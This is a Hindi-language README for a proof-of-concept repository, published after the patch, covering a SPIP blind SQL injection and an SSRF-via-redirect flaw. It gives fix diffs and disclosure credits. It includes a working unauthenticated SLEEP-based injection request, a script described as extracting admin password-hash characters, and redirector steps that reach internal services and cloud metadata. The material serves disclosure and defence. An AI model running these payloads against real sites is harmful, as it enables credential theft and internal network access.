
SPIP में CVE-2026-72708 (ब्लाइंड SQLi) और CVE-2026-109378 (SSRF) के लिए PoC, दोनों 4.4.18 में ठीक किए गए
दो कमज़ोरियों के लिए पुनरुत्पादनीय प्रूफ़ ऑफ़ कॉन्सेप्ट सामग्री जिन्हें मैंने SPIP में रिपोर्ट किया था, दोनों 4.4.18 में ठीक की गईं।
| CVE | वर्ग | प्रमाणीकरण | CVSS 4.0 | सिंक |
|---|---|---|---|---|
| CVE-2026-72708 | ब्लाइंड SQL इंजेक्शन (CWE-89) | कोई नहीं | 8.7 उच्च | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | HTTP रीडायरेक्ट के माध्यम से SSRF (CWE-918) | निम्न | 5.3 मध्यम | ecrire/inc/distant.php:567-582 |
दोनों को 2026-08-05 को [email protected] पर रिपोर्ट किया गया था। SPIP ने 2026-08-10 को
4.4.18 में समाधान जारी किया। यह सामग्री पैच के बाद प्रकाशित की गई है, और इसे प्रकाशित करने का पूरा उद्देश्य यही है।
यहाँ सब कुछ
127.0.0.1पर बाउंड एक डिस्पोज़ेबल स्थानीय लैब के विरुद्ध चलता है। इसे किसी ऐसे होस्ट पर न लक्षित करें जो आपका न हो।
spip_mysql_cite() एक मान बिना कोट्स के लौटाता है जब गंतव्य कॉलम
डेट प्रकार का हो और मान /^\w+\(/ से मेल खाता हो:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
regex का उद्देश्य NOW() को स्ट्रिंग के बजाय फ़ंक्शन कॉल के रूप में गुज़रने देना था। यह फ़ंक्शन कॉल के आकार की जाँच करता है, उसके नाम की नहीं, इसलिए SLEEP(5), IF(...) और UPDATEXML(...) भी इसे संतुष्ट करते हैं।
पहुँचने योग्य सिंक squelettes-dist/sitemap.xml.html का {annee?} मानदंड है, जो हर इंस्टॉल के साथ आता है और एक datetime कॉलम से तुलना करता है। sitemap सार्वजनिक है, इसलिए किसी खाते की आवश्यकता नहीं है:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
इसे चलाएँ:
bash CVE-2026-72708-sqli/poc_sqli.sh
स्क्रिप्ट सिंक को सिद्ध करती है, SLEEP() आर्ग्युमेंट को ट्रैक करने वाली देरी दिखाती है,
फिर एक शुद्ध टाइमिंग ऑरेकल के माध्यम से एडमिन पासवर्ड हैश के पहले बारह अक्षर पुनः प्राप्त करती है
और परिणाम को डेटाबेस के विरुद्ध जाँचती है।
SLEEP() एक WHERE
क्लॉज़ में रहता है, जिसे MySQL प्रति पंक्ति मूल्यांकित करता है। शून्य आर्टिकल के साथ यह कभी सक्रिय नहीं होता।
lab/seed.sh एक प्रकाशित आर्टिकल डालता है।&z=<random>) जोड़ें। स्क्रिप्ट पहले से ही ऐसा करती है।SPIP में वास्तव में एक अच्छा SSRF गार्ड है, valider_url_distante(): स्कीम
व्हाइटलिस्ट, निजी और आरक्षित रेंज, लिंक-लोकल, DNS रीबाइंडिंग, क्रेडेंशियल
URLs। कॉलर इसे फ़ेच करने से पहले चलाते हैं।
recuperer_url() फिर दस रीडायरेक्ट तक फ़ॉलो करता है, और जिस लक्ष्य को वह फ़ेच करने वाला है उसे कभी पुनः मान्य नहीं करता:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
एक मेज़बान से आया 302 जो सत्यापन पास कर लेता है, सीधे उसी चीज़ में चला जाता है जिसे रोकने के लिए
गार्ड बनाया गया था, 169.254.169.254 भी शामिल है।
इसे चलाएँ:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
स्क्रिप्ट दिखाती है कि गार्ड सात शत्रुतापूर्ण URL को सही ढंग से अस्वीकार करता है, फिर उन्हीं में से एक URL को रीडायरेक्ट के माध्यम से फ़ेच करता है और सामग्री वापस प्रिंट करता है।
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
डेटाबेस का कोई होस्ट पोर्ट नहीं है। वेब कंटेनर केवल लूपबैक पर सुनता है।
इसे docker compose down -v से हटा दें।
SSRF पथ का परीक्षण करने के लिए आपको स्टैंड-इन रीडायरेक्टर और एक केवल-आंतरिक सेवा की भी आवश्यकता होगी:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php केवल ?to= में जो भी हो उसके लिए 302 उत्सर्जित करता है। वास्तविक हमले में वह भूमिका
एक सार्वजनिक होस्ट निभाता है जिसे गार्ड अनुमति देने में प्रसन्न होता है।
प्रत्येक निर्देशिका में requests/ में उपरोक्त रन के दौरान वायर से कैप्चर किए गए कच्चे HTTP आदान-प्रदान
होते हैं, प्रत्येक चरण के लिए एक .req और एक .res। किसी .req को जैसा है वैसा ही Burp Repeater में पेस्ट करें।
SQLi के लिए, दिलचस्प जोड़ी sqli-03-oracle-true (2.051 s) बनाम
sqli-04-oracle-false (0.049 s) है: वही प्रश्न, थ्रेशोल्ड एक से बदला गया, और
उत्तर प्रतिक्रिया समय में अंतर है। बॉडी समान हैं।
SSRF के लिए, ssrf-02-internal-hits.log आंतरिक
सेवा का एक्सेस लॉग है, जो दर्शाता है कि SPIP उस होस्ट पर पहुँच रहा है जिसे उसने अभी-अभी हल करने से मना किया था।
SQL इंजेक्शन, ढीले regex को whitelist से बदलें:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
ecrire/req/sqlite_generique.php पर वही परिवर्तन लागू करें।
SSRF, रीडायरेक्ट लक्ष्य का पालन करने से पहले उसे सत्यापित करें:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
या सीधे 4.4.18 पर अपग्रेड करें, जिसमें दोनों शामिल हैं।
CVE-2026-72708 को स्वतंत्र रूप से Lexfo / Ambionics के Franck Chevalier (Wayko) द्वारा सह-खोजा गया था, जिन्होंने वही sink, वही unauthenticated entry point खोजा, और CVE-2026-72709 और CVE-2026-72710 के माध्यम से remote code execution तक की पूरी chains बनाईं। उनका writeup अधिक गहन तकनीकी दस्तावेज़ है और उनका tooling ambionics/spip-exploits पर है।
CVE-2026-109378 अकेले रिपोर्ट किया गया था।
MIT। रक्षकों, ऑडिटरों और उन सभी के लिए प्रकाशित जो यह समझना चाहते हैं कि पंद्रह अक्षरों का एक regex आखिर 8.7 अंकों के लायक कैसे निकला।
-- ka3n1x